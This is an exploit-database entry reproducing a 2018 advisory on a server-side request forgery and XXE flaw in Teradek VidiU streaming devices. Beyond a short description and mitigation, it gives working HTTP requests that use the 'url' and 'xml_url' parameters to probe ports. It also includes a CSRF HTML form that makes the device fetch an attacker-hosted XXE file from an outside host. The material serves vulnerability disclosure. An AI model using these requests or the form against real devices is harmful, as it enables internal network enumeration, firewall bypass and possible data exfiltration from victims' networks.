header-logo
Suggest Exploit
vendor:
VidiU, VidiU Mini, VidiU Pro
by:
Gjoko 'LiquidWorm' Krstic
8.8
CVSS
HIGH
Server-Side Request Forgery (SSRF)
918
CWE
Product Name: VidiU, VidiU Mini, VidiU Pro
Affected Version From: 3.0.3r32136
Affected Version To: 2.4.10
Patch Exists: YES
Related CWE: N/A
CPE: a:teradek:vidiu
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: lighttpd/1.4.48, lighttpd/1.4.31
2018

Teradek VidiU Pro 3.0.3 SSRF Vulnerability

A server-side request forgery (SSRF) vulnerability exists in the VidiU management interface within the RTMP settings and the Wowza server mode functionality. The application parses user supplied data in the GET parameters 'url' and 'xml_url' to construct a page request that loads the configuration for specific service. Since no validation is carried out on the parameters, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host, including xml data parsing (XXE potential). This can be used by an external attacker for example to bypass firewalls and initiate a service and network enumeration on the internal network through the affected application.

Mitigation:

Validate user supplied data in the GET parameters 'url' and 'xml_url' to prevent external requests.
Source

Exploit-DB raw data:

Teradek VidiU Pro 3.0.3 SSRF Vulnerability


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: VidiU, VidiU Mini, VidiU Pro
                  3.0.3r32136
                  3.0.2r31225
                  2.4.10

Summary: The Teradek VidiU gives you the freedom to broadcast live
high definition video directly to the Web without a PC. Whether you're
streaming out of a video switcher or wirelessly from your camera,
VidiU allows you to go live when you want, where you want. VidiU
offers API level integration with the Ustream, YouTube Live and
Livestream platforms, which makes streaming to your channel as
easy as logging into your account.

Desc: A server-side request forgery (SSRF) vulnerability exists in
the VidiU management interface within the RTMP settings and the Wowza
server mode functionality. The application parses user supplied data
in the GET parameters 'url' and 'xml_url' to construct a page request
that loads the configuration for specific service. Since no validation
is carried out on the parameters, an attacker can specify an external
domain and force the application to make a HTTP request to an arbitrary
destination host, including xml data parsing (XXE potential). This can
be used by an external attacker for example to bypass firewalls and
initiate a service and network enumeration on the internal network
through the affected application.

Tested on: lighttpd/1.4.48
           lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5461
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php


02.03.2018

--


SSRF open port:
---------------

GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1 
Host: 127.0.0.1:8090 
 

HTTP/1.1 200 OK 
Content-Type: application/json 
Connection: close 
Date: Sun, 13 May 2018 21:42:30 GMT 
Server: lighttpd/1.4.31 
Content-Length: 31 
 
{"error":"invalid parameters"}


SSRF closed port:
-----------------

GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1 
Host: 127.0.0.1:8090 


HTTP/1.1 200 OK 
Content-Length: 0 
Connection: close 
Date: Sun, 13 May 2018 21:43:30 GMT 
Server: lighttpd/1.4.31


===================================================


SSRF closed port:
-----------------

GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1 
Host: 127.0.0.1:8090 


{"result":"error", "error":"Curl error"}


SSRF open port:
---------------

GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1 
Host: 127.0.0.1:8090 


{"result":"error", "error":"Bad request"}


===================================================


PoC CSRF Blind XXE SSRF OOB:
----------------------------

<html>
  <body>
    <form action="http://127.0.0.1:8090/cgi-bin/system.cgi">
      <input type="hidden" name="command" value="rtmp" />
      <input type="hidden" name="action" value="rtmp_xml_from_url" />
      <input type="hidden" name="xml_url" value="http://site.tld/xxe.xml" />
      <input type="hidden" name="_" value="1526244218671" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>